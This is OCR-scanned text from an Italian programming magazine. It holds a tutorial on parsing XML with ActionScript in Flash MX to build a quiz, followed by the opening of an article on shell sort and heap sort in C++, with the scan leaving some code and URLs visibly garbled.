se l'argomeno esito ritorna true allora verranno ese- 
guite le istruzioni all'interno del blocco ed in partico- 





Flash 

& XML 



Flash MX 

e XML: un dialogo 
possibile 



Piattaforme e 
Flash Remoting 

r~s Nell'articolo abbia- 
--J mo utilizzato il Flash 
Remoting sotto Coldfu- 
sion Mx, che lo mette 
gratuitamente a disposi- 
zione degli sviluppatori. 
Ma la Macromedia già 
supporta altri applica- 
tion server come Micro- 
soft ASP.NET e J2EE. At- 
tualmente è in fase di 
sviluppo un progetto per 
portare il Flash Remo- 
ting su PHP. Tutte le 
informazioni sono repe- 
ribili all'uri: 

http://amfphp.sourcefor - 
qe.net/ 



Fig. 4: ... e quelli della tabella Corsi 



http: //www. itport al.it 



g g 



3 ► ►►29 




Flash 

& XML 



Flash MX 

e XML: un dialogo 
possibile 



Flash Mx 
Components 

/-S I componenti sono 
"*(» una delle nuove fun- 
zionalità di Flash Mx e 
permettono agli svilup- 
patori di ampliare le po- 
tenzialità delle loro ap- 
plicazioni e del program- 
ma stesso. Rappresetano 
l'evoluzione degli Smart 
Clips di Flash 5. Pratica- 
mente sono movie clip 
complessi parametrizza- 
bili in fase di authoring e 
aggiungono nuovi meto- 
di ad ActionScript che 
permette in questo modo 
di interagire con le loro 
opzioni a runtime. Per 
approfondire l'argomen- 
to basta andare sul sito 
della Macromedia all'in- 
dirizzo http://www.ma- 
cromedia.com/dev- 
n et /mx/ flash/ compo- 
nents. html 



lare il contenuto del file XML sarà riportato nel cam- 
po testo con nome istanza txtXML A scopo esemplifi- 
cativo creiamo una nuova funzione che stamperà nel 
campo testo alcune proprietà del nostro oggetto XML. 
Il codice è il seguente: 

function mostraChildQ { 

contenitore = new Array; 

contenitore = objXMLchildNodes; 



stampa = objXML.xmlDecl+"\n" 



stampa += "La lunghezza e' di 

:\n"+contenitore.length+"\n"; 

for (x=Q;x<contenitore,length;x+ + ) { 

if ((contenitore[x].nodel\lame ! = 

null)&(contenitore[x].nodeType = 1)) { 

stampa += "Questo e' il nodeType:\n " 

+contenitore[x],nodeType+"\n"; 

stampa += "Questo e' il nodeName:\n 
"+contenitore[x].nodeName+"\n";} 

} 

txtXML.text = stampa; 



Proviamo ad analizzarla riga per riga: cominciamo 
col dichiarare una funzione il cui compito è quello di 
contenere i dati formattati all'interno del file XML in 
un array. L'array deve essere creato utilizzando la sin- 
tassi mioArmy = new Array. La proprietà childNodes 
dell'oggetto XML contiene l'elenco (un array) di tutti 
i childnodes del file, con cui popoleremo la variabile 
contenitore. Ai fini del nostro esempio, che vuole solo 
illustrare come Flash Mx gestisce l'oggetto XML, 
creiamo una nuova variabile di tipo stringa, il cui con- 
tenuto verrà inserito in un campo testo e quindi for- 
mattato sullo Stage. La variabile stampa contiene la 
dichiarazione iniziale del file XML (<?xml ver- 
sion="1.0"?>), che viene catturata dalla proprietà xml- 
Deci, e il numero di elementi che rappresentano i 
childnodes del file. Con un ciclo di for navigo per tutta 
la lunghezza dei miei dati, contenuti neh' array, e in- 
tercetto i nomi e il tipo di nodi che compongono la 
mia struttura. Per fare questo utilizzo le proprietà no- 
deName e nodeType dell'oggetto XML: 

nodeName: ritorna il nome del nodo 

nodeType : ritorna un intero. 

Ora cambiano il codice relativo all'evento onLoad in 
questo modo: 

objXML = new XML; 

objXML.Ioad("proval.xml"); 

objXML.onLoad = mostraChild; 



I WHITESPACES 

I ivhitespaces rappresentano un problema per le ver- 
sioni dei player Flash inferiori alla 5.0.41. Infatti per 



tutte le versioni successive, basta settare la proprietà 
ignoreWhite a true: 

objXML.ignoreWhite = true; 

Se volessimo costruire un'applicazione in Flash che 
tenga conto anche delle versioni un po' più datate, 
dobbiamo costruire un parser che tiene conto degli 
spazi vuoti e dei ritorni a capo. La funzione che ese- 
gue queste è stata scritta da Craig Swann. La funzio- 
ne stripWhite che andiamo a costruire non è un meto- 
do predefinito dell'oggetto XML. Usando un prototy- 
pe mi assicuro che la funzione possa essere usata da 
tutte le istanze dell'oggetto. 

XMLNode.prototype. stripWhite = function () { 



1 


NODE ELEMENT 


2 


NODE ATTRIBUTE 


3 


NODE TEXT 


4 


NODE CDDATA 


5 


NODE ENTITY REFERENCE 


6 


NODE ENTITY 


7 


NODE PROCESSING INSTRUCTION 


8 


NODE COMMENT 


9 


NODE DOCUMENT 


10 


NODE DOCUMENT TYPE 


11 


NODE DOCUMENT FRAGMENT 


12 


NODE NOTATION 



Tab. 1: Proprietà dei nodeType. 

All'interno di questa funzione ne definiamo un'altra, 
'whiteTest' , che determina se il text node contiene dati 
o spazi vuoti. Sapendo che i cosiddetti caratteri "bian- 
chi" nel codice ASCII assumono valori da a 32 ci ba- 
sta controllare con la funzione charCodeAt che i dati 
siano maggiori del valore 32. In questo caso setto una 
variabile booleana a FALSE o a TRUE a seconda del ti- 
po di dato ottenuto, esco dalla funzione, facendo ri- 
tornare il valore della variabile: 

function whiteTest(str){ 

var allWhite = true; 

var strLength = str.length; 

for (var i = 0; i < strLength; i++) { 

if (str.charCodeAt(i) > 32) { 

allWhite = false; 

break; } 

A 

return (allWhite); 

} 



Attraverso l'uso della proprietà nodeType controllo 
che esista almeno un elemento e che contenga dei 
sottoelementi con la proprietà hasChildnodes. A que- 
sto punto un ciclo di for navigherà per tutta la lun- 
ghezza del file, lanciando ricorsivamente la funzio- 
ne stripWhite per eliminare gli spazi bianchi all'in- 



30 ►►► M a g g 



3 



http: //www. itport al.it 



TECNICA 



terno di tutti i dati. 



if (this.nodetype == 1) { 



if (this.hasChildnodes) { 



var chlength = this.childNodes.length; 



for (var i=0;i < chlength; i + + ) { 



this,childnodes[i],stripWhite();} 



}_ 



} else { 

Se il nodeType ritorna l'esitenza di un testo verifico, 
lanciando la funzione whiteTest, se sono presenti degli 
spazi bianchi, e in questo caso eseguo la funzione per 
eliminarli (Stripwhite). Utilizzo il metodo nextSibling 
per ritornare il sottoelemento successivo all'interno 
della lista dei childNodes. Infine, elimino il nodo ana- 
lizzato con il metodo removeNode. 



if (this.nodetype = = 


= 3){ 


if (whiteTest(this. 


nodeValue)) { 


this. nextSibling 


.stripWhite(); 


this.removeNoc 


e();} 


} 


} 


} 



Ora andiamo a modificare la funzione che scatta sul- 
l'evento onLoad lanciando prima la funzione strip- 
Wliite e successivamente facciamo stampare il conte- 
nuto del documento nel nostro campo testo: 



objXML = new XML; 



objXML.Ioad("proval.xml"); 



objXML.onLoad = caricato 



function caricato(esito) { 



if (esito) { 



// Lancio la funzione stripWhite che elimina i 

// whitespace - il 'this' si riferisce all'oggetto XML 
this.stripWhiteQ; 



txtXML.text = QbjXML.toStringQ; 



}else { 



trace("Si e' verificato un errore"); 



J_ 



} 



Nel campo testo txtXML comparirà il contenuto del 
file XML tutto attaccato, senza spazi. Più avanti nel- 
l'articolo vedremo come estrapolare dal documento 
XML i dati che ci interessano, e come formattarli al- 
l'interno della nostra interfaccia grafica. Creeremo un 
piccolo database in XML e navigheremo all'interno 
dei suoi dati. 

IL PARSING XML 
CON FLASH MX 

Finora abbiamo visto come caricare una fonte dati 
esterna da un file XML. In questa seconda parte, cree- 
remo un semplice quiz le cui domande e risposte so- 



no prelevate da un file esterno. Per fare questo utiliz- 
zeremo alcuni comandi Actionscript, fondamentali per 
capire come l'oggetto XML viene parsato dal Flash 
Mx: 

• ignoreWhite: elimina gli spazi tra i nodi di testo. 

• firstChild: valuta l'oggetto XML specificato e fa 
riferimento al primo nodo secondario nell'elenco 
del nodo principale. 

• childNodes: restituisce una matrice dei nodi se- 
condari dell'oggetto XML specificato. 

• attributes: restituisce una matrice associativa con- 
tenente tutti gli attributi dell'oggetto XML specifi- 
cato. 

Queste definizioni, potrebbero a prima vista sem- 
brare complicate, ma in realtà un esempio basta 
per comprendere meglio queste proprietà: 

File XML 



<?xml version = ' 


1.0' 


encod 


ng = 


iso-8859 


1 


?> 


<classe> 


ollievo corso 


= "FI 


ash Mx 


> 








Marco Casario 


</allievo> 


ollievo corso 


= "FI 


ash Mx Developer"> 






Alessio Casa 


rio 












</allievo> 


</classe> 



Actionscript 



objXML = new XMLQ; 



objXML.Ioad("esempio.xml"); 



objXML.ignoreWhite = true; 



objXML.onLoad = caricato; 

Ora creiamo una funzione che viene eseguita nel mo- 
mento in cui il file viene caricato e letto con successo. 
All'interno di questa funzione, istanzieremo le se- 
guenti variabili per contenere i dati del mio file XML: 

• primonodo: contiene il primo nodo presente al- 
l'interno del file XML. Utilizzo la funzione first- 
Child dell'oggetto XML. 

• allievi: è un array che contiene tutti gli allievi in- 
seriti all'interno del file. Utilizzo la funzione child- 
nodes. 

• allievi_corrente: contiene il primo indice conte- 
nuto nella variabile allievi. 

• testo_allievi: contiene gli attributi del nodo speci- 
ficato (allievi _corrente). Utilizzo la proprietà atiri- 




Flash 

& XML 



Flash MX 

e XML: un dialogo 
possibile 



Alcuni indirizzi 
per XML 

r-s Extensible Markup 
<y Language (XML) 

< http://www.w3.0rg/TR/R 
EC-xml> costituisce una 
Raccomandazione, ossia 

10 stadio finale della pro- 
cedura di approvazione 
del consorzio W3C. Que- 
sto significa che tale 
standard può essere in- 
teramente adottato dagli 
sviluppatori di strumenti 
e del Web. 

XML Namespaces 

< http://www.w3.0rg/TR/R 
EC-xml-names/> costitui- 
sce una Raccomandazio- 
ne. Descrive la sintassi 
namespace e il supporto 
per i parser XML name- 
space. 

11 livello 1 DOM (Docu- 
ment Object Model) 

< http://www.w3.0rg/TR/R 
EC-DOM-Level-l/> costi- 
tuisce una Raccomanda- 
zione. Fornisce uno stan- 
dard per l'accesso pro- 
grammatico mediante 
script ai dati strutturati, 
in modo che gli sviluppa- 
tori possano computare 
e interagire in armonia 
con i dati XML. 



http: //www. itport al.it 



g g 



3 ►►► 31 




Flash 

& XML 



Flash MX 

e XML: un dialogo 
possibile 



Sul Web W 

Il linguaggio di collega- 
mento XML (XLL) 
<http://www.w3.orq/TR/ 
WD-xlink> e il consimile 
linguaggio di puntamen- 
to XML (XPointer) 
<http://www.w3.orq/TR/ 
WD-xptr> costituiscono 
allo stato attuale delle 
bozze di lavoro. L'XLL è 
un linguaggio che forni- 
sce collegamenti in for- 
mato XML simili a quelli 
del formato HTML ma è 
molto più potente. Grazie 
al linguaggio XLL i colle- 
gamenti possono essere 
multidirezionali ed esi- 
stere a livello di oggetto 
anziché solo a livello di 
pagina. Internet Explorer 
5 non dispone di un sup- 
porto interno per il lin- 
guaggio XLL. 

Gli schemi strutturali 
XML come quelli descritti 
dalla XML-Data Note 

<http://www.w3.orq/TR/19 
98/NOTE-XML-data-0105/> 

(nota sui dati XML) e dal- 
la DCD (Descrizione del 
contenuto dei documenti 
per XML, Document Con- 
tent Description for XML) 
<http://www.w3.org/TR/N0 
TE-dcd> sono anch'essi 
materia del gruppo di la- 
voro sui dati XML del 
consorzio W3C 
<http://www.w3.orq/XML/ 
Group/Schemas.html> 



butes dell'oggetto XML 



function caricatoQ { 



primoNodo = objXML.firstChild; 



trace("Questo e' il primo Nodo intercettato dalla 

proprietà fi rstChild"+ primoNodo); 

_root. allievi = primoNodo. childNodes; 

trace("Contiene l'array di tutti i figli del nodo principale" 

+allievi); 

_root.totale_allievi = allievi. length; 

allievi_corrente = _root.allievi[0]; 

trace("La prima domanda estratta : "+allievi_corrente); 
testo_allievi = allievi_corrente.attribut.es. corso; 



trace("Leggo l'attributo 'corso' all'interno del tag xml : 

"+testo_allievi); } 

All'interno del codice sono inseriti dei trace che per- 
mettono, in fase di esecuzione del filmato, di ottenere 
i valori contenuti nelle variabili stampati nella finestra 
di Output di Flash. Per eseguire il filmato, basta pre- 
mere CTRL-ENTER e automaticamente la finestra 
comparirà. A questo punto, abbiamo esplorato come 
l'oggetto XML messo a disposizione da Actionscript 
permetta di lavorare con file XML. Abbiamo visto co- 
me parsare i dati formattati e come inserirli all'inter- 
no di variabili. Nell'applicazione di esempio che an- 
diamo a creare, l'insieme delle domande e delle ri- 
sposte è contenuto in un file XML esterno: questa se- 
parazione consente di creare, a partire dalla stessa ap- 
plicazione, tutti i tipi di questionari che vogliamo, 
semplicemente andando a cambiare il file XML. An- 
cora: potremo creare differenti file per differenti livel- 
li di difficoltà. Il software gira su qualsiasi browser 
con il flash player installato, e utilizzando un file XML 
si svincola dalla piattaforma. Questo significa che se 
volessimo trasferire il nostro progetto per dispositivi 
palmari, piuttosto che per Web TV, dovremo solo 
cambiare gli elementi grafici all'interno dell'interfac- 
cia utente per meglio dimensionarli alla piattaforma e 
il gioco è fatto. Questo è uno dei grossi vantaggi di 
utilizzare Flash MX unito all'XML. 
Siamo pronti per a costruire gli elementi della nostra 
applicazione. 

IL FILE XML 

Il nostro file XML, con le domande e le risposte dovrà 
anche permettere di gestire la risposta corretta tra il 
set di risposte fornite all'utente. Il codice del file con- 
terrà una radice <QUIZ>, al cui interno saranno inse- 
riti i tag <setDomanda> che definiscono la domanda, il 
set delle risposte possibili e il numero della risposta 
giusta. Utilizzeremo degli attributi per inserire queste 
informazioni ed in particolare: 

• risposta_ok: contiene il numero della risposta cor- 
retta; 

• domanda: contiene il testo della domanda; 



• optionl, option2, option3: contengono il testo 
delle possibili risposte alla domanda. 

Aggiungeremo anche alla radice <QUIZ> un attribu- 
to per un'eventuale futura implementazione di ge- 
stione di più corsi all'interno dello stesso file. In que- 
sto modo potremo, per esempio, avere differenti set di 
domande per differenti livelli di difficoltà. Un esem- 
pio semplice del nostro file xml potrebbe essere: 

<?xml version = "1.0" encoding = "iso-8859-l"?> 

<quiz id = "l"> 

<setDomanda risposta_ok="3" 

domanda = "Che cos&apos; e&apos; Internet?" 

optionl = "Una rete di computer in cui i dati sono 

veicolati solo grazie agli iperoggetti" 

option2 = "Un protocollo di comunicazione usato per 

trasferire dati tra uno o più computer" 

option3 = "Un insieme di reti di computer usata per 

trasmettere e ricevere qualsiasi tipo di dato" /> 

Apriamo Dreamweaver MX per creare il file XML e 
dal menu File -> Neiv selezioniamo dalla finestra Nuo- 
vo Documento la 'Pagina di Base' XML come mostrato 
in Fig. 5. 



Nuovo documento 



Generali Modelli 



Categoria: 



Pagina di base: 



Pagina di base 

Pagina dinamica 

Pagina modello 

Altro 

Fogli di stile CSS 

Set di Piarne 

Strutture di pagina 

Strutture di pagina (accessibili) 



5£ HTML 
.y: Modello HTML 
,'jf Voce di libreria 
F CSS 

JavaScript 




Fig. 5: Generazione di un documento XML 
dall'interno di Dreamwever. 



La scelta di Dreamweaver Mx per la creazione del fi- 
le è dettata dalle potenti funzionalità di autocomple- 
tamento messe a disposizione del programma. Infat- 
ti, una volta definita la struttura dell'XML, Dream- 
weaver ci metterà a disposizione il comodo Code 
Hints per l'inserimento dei tag e degli attributi ad essi 
relativi, rendendo la stesura del codice un'operazione 
semplice e veloce. Il file XML completo lo trovate sul 
CD: lezi jjuiz. xml. 




103; e&apos; un ipertesto? 
nsieme di informazioni strutturate 
n modo interattivo" 
nsieme di informazioni strutturate 



Fig. 6: Il comando Code Hints di Dreamwever per 
l'inserimento dei TAG e dei loro attributi. 



L'INTERFACCIA UTENTE 

La User Interface in Flash è molto semplice. E' com- 
posta da un'unica bitmap di sfondo e da elementi 



32*** m 



g g 



3 



http: //www. itport al.it 



TECNICA 



dinamici che verranno aggiornati a seconda del 
contenuto caricato dinamicamente dal file xml. In 
particolare avremo: un campo testo di tipo dinami- 
co con il campo Var settato a "testo domanda", tre 
Radio Button con i nomi istanza uguali a optionl, 
optionl, optionl. Infine un movieclip segnalatore che 
permette all'utente di capire su quale domanda si 
trova e, sopratutto, quante gliene mancano: check_ 
me che graficamente è rappresentato dalla spunta- 
tura rossa. Dal codice verrà gestito dalle seguenti 
righe: 

check_mc.duplicateMovieClip("nuovo" 

+_root.numero_domanda,_root.numero_domanda); 
check_mc._x += 28 ; 

Questo codice provvedere a duplicare il MC e a posi- 
zionarlo a 28 px di distanza dal precedente. Il codice 
è molto semplice, soprattutto, dopo aver visto la pri- 
ma parte del tutorial, sono poche le linee da com- 
mentare. Le azioni che dobbiamo compiere prevedo- 
no il caricamento del file XML e la gestione dello stes- 
so all'interno dell'evento ori Load, che scatta non appe- 
na il file viene letto. In questo evento, inizializzo il 
questionario inserendo la prima domanda nel campo 
testo e, le risposte nei radio button con il comando se- 
tLabel(). Un pulsante permette all'utente di avanzare 
di una domanda incremetando l'indice dell'array che 
conterrà tutte le domande. Dovremo infine inserire 
un controllo che valuterà se l'utente si trova all'ultima 
domanda, caso in cui il quiz si trova alla fine. Inizia- 
mo a scrivere il nostro codice ciccando sul primo tra- 
me della Timeline e costringiamo l'applicazione a non 
essere ridimensionabile. In questo modo non otterre- 
mo effetti grafici indesiderati. 

fscommand("allowscale", false); 

Andremo ad analizzare solo le righe di codice che ri- 
sultano più ostiche, in quanto gran parte del lavoro lo 
abbiamo già svolto negli esempi precedenti. 

quizXML = new XMLQ; 

quizXML.Ioad("contributi/lezl_quiz.xml"); 

quizXML.ignoreWhite = true; 

quizXML.onLoad = caricato; 

Nella variabile numero domanda inserisco di volta in 
volta il numero della domanda in cui mi trovo: 

_root.numero_domanda = 0; 

function caricatoQ { 

primoNodo = quizXML.firstChild; 
_root. domande = primoNodo. childNodes; 
_root.totale_domande = domande, length; 
domanda_corrente = _root.domande[numero_domanda]; 
testo_domanda = domanda_corrente.attribut.es. domanda; 



A questo punto popolo le etichette dei tre radio but- 



ton che identificano le tre risposte che l'utente può da- 
re usando la funzione setLabel e passandogli come va- 
lori gli attributi del nodo corrente: 

optionl. setLabel(domanda_corrente.attributes. optionl); 
option2.setLabel(domanda_corrente.attributes.option2); 
option3.setLabel(domanda_corrente.attributes.option3); 
} 

Il bottone che permette di passare alla domanda suc- 
cessiva lancia la funzione 'mostra Jtomandd ', che du- 
plica il movieclip grafico che stabilisce le domande a 
cui l'utente ha già risposto. La funzione resetta inoltre 
i valori dei radio button, controlla che l'utente non sia 
giunto al termine del quiz (e quindi alla decima do- 
manda) e, in caso contrario, passa alla domanda suc- 
cessiva. 

next_btn.on Press = function () { 

mostra_Domanda(); } 

function mostra_Domanda(indice) { 

check_mc.duplicateMovieClip("nuovo" 

+_root.numero_domanda,_root,numero_domanda); 

check_mc._x += 28 ; 

for (i=l; i< = 3; i+ + ) { 

eval("option"+i).setValue(false);} 

if (_root,numero_domanda>=_root.totale_domande-l) { 

nex_btn.enabled = false ; 

gotoAndStop(2); 

} else { 

_root.numero_domanda += 1; 

} 

domanda_corrente = _root,domande[numero_domanda^ 



testo_domanda = domanda_corrente.attributes. domanda 



optionl. setLabel(domanda_corrente,attributes. optionl) 



option2.setLabel(domanda_corrente.attributes.option2) 
option3.setLabel(domanda_corrente.attributes.option3) 

} 

stop(); 





<t)>' 



|/|:|3I4IS|EIT1SI9I)0I 



O Radio Button 
O Radio Button 
O Radio Button 



Fig. 7: Il risultato finale dell'interfaccia utente. 



Con questo articolo non abbiamo sicuramente termi- 
nato il discorso sull'oggetto XML di Flash, ma ci sia- 
mo fatti sicuramente un 'idea di come poter sfruttare 
la potenza dei XML all'interno dell' enviroment di 
Flash. 

Marco Casario 




Flash 

& XML 



Flash MX 

e XML: un dialogo 
possibile 



W Sul Web 

Extensible Stylesheet 
Language (XSL) 
<http://www.w3.org/TR/VV 
D-xsl/> costituisce at- 
tualmente una bozza di 
lavoro. Il linguaggio XSL 
è formato da due sezioni 
modulari: il linguaggio 
trasformativo XSL e gli 
oggetti di formattazione 
XSL. Il linguaggio tra- 
sformativo può essere 
utilizzato per trasforma- 
re i dati XML al fine di vi- 
sualizzarli. Giacché le 
due parti dello standard 
XSL sono modulari, il lin- 
guaggio trasformativo 
può essere utilizzato in- 
dipendentemente per 
trasformazioni generi- 
che, quali la conversione 
da XML a HTML. Lo stan- 
dard CSS può essere ap- 
plicato a dati XML strut- 
turati in modo semplice 
ma non può presentare le 
informazioni in un ordine 
diverso da quello in cui 
sono state ricevute. 



http: //www. itport al.it 



g g 



3 ►►► 33 



Sorti ng 



Algoritmi efficienti 



Shell sort e heap sort sono una valida alternativa 

alle semplici ma "poco efficienti" tecniche di 

sorting diretto. Introducono, inoltre, 

l'interessante quanto utile concetto di 

ordinamento parziale. 



A giudicare dalle ricerche e dal fermento cultu- 
rale prodotto intorno alle tecniche di sorting, 
si comprende l'importanza che riveste tale 
argomento nella comunità scientifica, ed in particola- 
re nel settore della programmazione. Con il prece- 
dente appuntamento sul tema abbiamo introdotto il 
problema valutando i metodi comuni più conosciuti 
come insertion, selection e bubble sort. I metodi trattati 
hanno rilevanza meramente didattica giacché presen- 
tano tempi di computazione, valutati in termini di 
complessità, tipici di algoritmi "lenti" (ma comunque 
utilizzabili). Infatti, una complessità quadratica 0(n 2 ) 
è da ritenersi non appropriata per un algoritmo che 
possa essere considerato efficiente. Conosciuti e vi- 
sionati i problemi intrinseci al processo di ordina- 
mento il passo successivo, che proporremo tra queste 
pagine e concluderemo la prossima volta, è esamina- 
re i metodi che vengono considerati efficienti, ossia 
quelle tecniche che presentano una complessità mi- 
nore rispetto ai casi precedentemente trattati. Come 
in seguito constateremo, ad esempio, uno degli algo- 
ritmi oggetti della presente trattazione, lo shell sort, 
ha una complessità pari a 0(n 12 ) che è sensibilmente 
minore del caso quadratico. Gli algoritmi che ci ac- 
cingiamo a studiare per il neofita producono la strana 
sensazione di sembrare meno efficienti dei "semplici" 
bubble sort o selection sort, soltanto perché più com- 
plessi o poiché presentano un codice più ampio. Tale 
sensazione verrà smentita al momento dell'analisi 
della complessità che mostrerà l'incremento di effi- 
cienza. Entrambi i metodi che verranno esaminati, 
shell sort e heap sort si basano sul concetto di ordina- 
mento parziale, che per intenderci si traduce nel ri- 
spetto di alcune proprietà, che conducono secondo 
un processo stabilito all'obiettivo finale che è l'ordi- 
namento totale. Alla generica iterazione dell'algorit- 
mo viene garantito, solitamente, qualcosa di meno 
forte dell'ordinamento per alcune quantità di ele- 
menti dell'insieme da ordinare. Il concetto sarà più 
chiaro quando si studieranno nel concreto gli algorit- 
mi, per cui tuffiamoci subito nel concreto, sperando 
di non farci male. L'obiettivo primario è Yheap sort, ciò 



nondimeno risulta particolarmente interessante il 
metodo shell sort. 



SHELL SORT 

Tale metodo fu presentato alla comunità scientifica 
nel lontano 1959 dallo studioso D.L. Shell, che lo in- 
trodusse come un'efficiente estensione del metodo 
per scambio diretto. La filosofia alla base della tecni- 
ca si regge sul concetto della ripetuta applicazione del 
metodo insertion sort a catene di numeri distanziati 
tra loro da intervalli di lunghezza fissa, per ogni sin- 
gola passata. L'algoritmo consiste nello eseguire di- 
verse passate in ognuna delle quali la catena presen- 
ta intervalli sempre più serrati (comunque fissi conte- 
stualmente alla singola scansione), fino ad arrivare al 
caso estremo di intervallo di passo 1 che comunque 
garantisce l'ordinamento. Gli studi hanno provato 
che le prime passate rendono per così dire, più age- 
vole il compito alle successive fasi. Esaminiamo il me- 
todo su un esempio concreto. Supponiamo di voler 
ordinare una sequenza di otto numeri: 

61,37,12,9,15,35,40,28 

La scelta della cardinalità pari ad otto non è casuale 
poiché ci darà la possibilità di trattare insiemi di nu- 



61 37 12 9 



Risultato Ordinamento -4 

2 

15 35 12 9 61 35 40 28 

J i i i I i I 




Risultato Ordinamento -2 



12 9 15 28 40 35 61 37 



Risultato Ordinamento -1 

9 12 15 28 35 37 40 61 



Fig. 1: Successive fasi che portano al competo 
ordinamento di otto numeri mediante shell sort. 



34 ► ► ► M a g g i 



3 



http: //www. itport al.it 



meri di eguale numerosità, ovviamente l'algoritmo 
funziona anche negli altri casi, anzi funziona anche 
meglio come vedremo più avanti. Supponiamo, inol- 
tre, di voler pervenire all'obiettivo finale in tre di- 
stinte fasi a cui associare intervalli di lunghezza (in- 
crementi) sempre dimezzata, partendo da quattro, 
passando a due e terminando con uno (anche questo 
è un dato di input). Le lunghezze degli intervalli così 
come il numero di passate non sono imposte dal pro- 
grammatore, l'unico vincolo consiste nel prevedere 
necessariamente la scansione con intervallo di am- 
piezza 1 che riduce l'algoritmo all'insertion sort, nel 
peggiore dei casi tale fase prowederà a tutto il lavo- 
ro. Nella Fig. 1 sono presentate le diverse fasi per il 
caso specifico proposto. La prima delle passate è chia- 
mata ordinamento-4 appunto perché l'intervallo di po- 
sizioni che lega le singole catene è di ampiezza 4; so- 
no presenti quattro catene ognuna di due elementi. 
Anche se i gruppi sono relativamente numerosi risul- 
tano costituti da pochi elementi. Da notare, come nel- 
l'esempio, solo le catene 1 e 2 sono disordinate e ne- 
cessitano di intervento, le altre due, la 3 e 4 sono già 
ordinate; a riprova della "relativa" bassa complessità 
computazionale delle prime fasi. Con la seconda pas- 
sata viene impostato un ordinamento-2, il numero di 
catene è due e ognuna di esse è costituita da quattro 
elementi. Quando si applica l'ultima passata, ovvero, 
Yordinamento-1 la successione è quasi ordinata. Non ci 
soffermiamo sul significato dell'accezione quasi, poi- 
ché non possiamo quantificare il grado di ordina- 
mento di un insieme di numeri, ad ogni modo non 
commettiamo errore se affermiamo che in questa fase 
la successione di numeri si presenta parzialmente or- 
dinata (da qui la definizione di ordinamenti parziali) 
ossia qualche grado di ordinamento in più dal com- 
pleto disordine (anche su questa affermazione qual- 
cuno potrebbe obiettare su come definire il completo 
disordine, ma non vogliamo fare accademia intendia- 
mo solo sviluppare un algoritmo efficiente). Prima di 
passare alla produzione dell'algoritmo solutore, sono 
necessarie alcune precisazioni. Riguardo alla scelta 
delle catene va detto che possono essere di ampiezza 
qualsiasi, studi ad esempio hanno dimostrato che 
ampiezze potenze di due, come proposta nell'esem- 
pio, non forniscono proficui risultati. Intuitivamente 
la cosa si comprende considerando che nel passare 
nelle fasi successive le catene man mano più serrate 
fanno riferimento a numeri appartenenti a ben defi- 
nite catene del passo precedente. Questa mancata 
omogeneizzazione dei numeri non porta buone pre- 
stazioni. Nell'esempio di figura 1, nel secondo passo 
la catena 1 fa riferimento a dati che nel precedente 
passo appartenevano alle sole catene 1 e 3, mentre i 
numeri della catena 2, fanno riferimento ai numeri 
appartenenti, sempre al passo precedente, alle sole 
catene 2 e 4. Fare riferimento a numeri appartenenti a 
un più possibile ampio numero di catene del passo 
precedente assicura buona efficienza, bisogna quindi 
non considerare catene di lunghezza multipla o con 



relazione di potenza. Nello sviluppare l'algoritmo 
dobbiamo, come d'abitudine, definire una opportuna 
struttura dati e formalizzare il problema, nonché se 
necessario formulare opportune scelte per una corret- 
ta implementazione. La struttura dati è la stessa usa- 
ta nello scorso appuntamento, ovvero, un vettore, che 
con il particolare linguaggio di programmazione usa- 
to per lo sviluppo, il C++, si può anche dichiarare co- 
me un puntatore. La variabile globale n, rappresenta 
la dimensione del vettore. Di seguito è riportato il co- 
dice della dichiarazione delle variabili e prototipi del- 
le funzioni, in uniformità con il programma svilup- 
pato nel precedente appuntamento. Si scorgono due 
nuove funzioni shellsortO e heapsortO. 



ó 



int *a,*b, n; 


enum bool { false, true 


}; 


voìd ins (int *); 


void vis (int *); 


bool ìs_sort (int *); 


void shellsort(int *); 


voìd heapsort(int *); 



La formalizzazione del metodo prevede la definizio- 
ne di un insieme di incrementi hi, hi, ..., hm, a cui so- 
no associate le condizioni già accennate: hm=l (assi- 
cura l'ordinamento, allorquando con intervallo 1, de- 
genera nel caso di insertion sort) e hi+l>hi per ogni i 
compreso nell'intervallo [1, m\. L'algoritmo insertion 
sort come ricorderete prevedeva l'uso di una senti- 
nella che veniva posizionata sull'indice zero del vet- 
tore in modo da rendere efficiente il programma e 
flessibile il codice. Nel caso specifico, saranno neces- 
sarie più sentinelle, infatti, ogni ordinamento utilizza 
la sua. Un'elegante soluzione è estendere il vettore in 
campo negativo (per indici negativi), in particolare 
l'intervallo di definizione sarà [-hi, n] poiché hi è l'in- 
tervallo più ampio. Attenzione all'implementazione 
C++, verificate che il compilatore gestisca una generi- 
ca dichiarazione del vettore come puntatore e la con- 
seguente utilizzazione di indici negativi, alcuni com- 
pilatori potrebbero non supportare tale funzionalità 
generando errore o il classico "nuli pointer assign- 
ment"; per la particolare routine è più appropriato un 
linguaggio come il pascal. Ad ogni modo, come sem- 
pre tra queste pagine, il nostro obiettivo è focalizzare 
l'attenzione sull'algoritmo per comprendere il proce- 
dimento. Esaminiamo il codice: 

void shellsort(int *arr) 
{ int i,j,k,m,z,s,x; 

// Settaggio del vettore degli incrementi 

int incr[]={0,5,3,l}; 

m = 3; 

// Ciclo esterno (scansione degli incrementi) 

for (z=l; z< = m; z++) 

{ k=incr[z]; 

s=-k; 

for (i = k+l; i< = n; i ++) 



Verifica di 
ordinamento 

La seguente rou- 
tine verifica se il 
vettore è ordinato. Re- 
stituisce valore vero se 
il vettore è ordinato 
falso altrimenti. 

bool is_sort(int *arr) 
{ bool sort=true; 

int i; 

for (1=1; i<=n-l; i++) 

{ 
if (arr[i]>arr[i+l]) 
sort = false; 

}; 

return sort; 



http: //www. itport al.it 



g g 



2 3 ►►► 35 



Procedimento 
empirico 

Una affermazione 
attraverso un pro- 



cedimento empirico, al 
contrario del procedi- 
mento teoretico, per il 
quale viene dimostrata 
attraverso un teorema, 
viene provata mediante 
ripetuti esperimenti che 
ad ogni modo non con- 
sentono di generalizzare 
il risultato attraverso una 
legge, matematicamente 
dimostrabile. 



{ x=arr[i]; j=i-k; 
if (s==0) { s=-k; arr[++s]=x; } ; 

while (x<arr[j]) 

{ arr[j+k]=arr[j]; 
j=j-k; }; 

arr[j+k]=x; } }} 

Il vettore incr rappresenta gli incrementi. Nello speci- 
fico è stato inizializzato da programma con i tre valo- 
ri 5, 3 e 1. Si ribadisce il vincolo di prevedere come ul- 
timo valore 1. Il primo valore pari a zero consente di 
uniformare l'uso dei vettori (come gli altri presenti 
nel programma) alla convenzione secondo la quale i 
valori utili partano dall'indice 1. La variabile m è la 
dimensione di suddetto vettore e consentirà di impo- 
stare opportunamente un ciclo (poggiato sulla varia- 
bile z) per l'estrazione degli intervalli delle catene (os- 
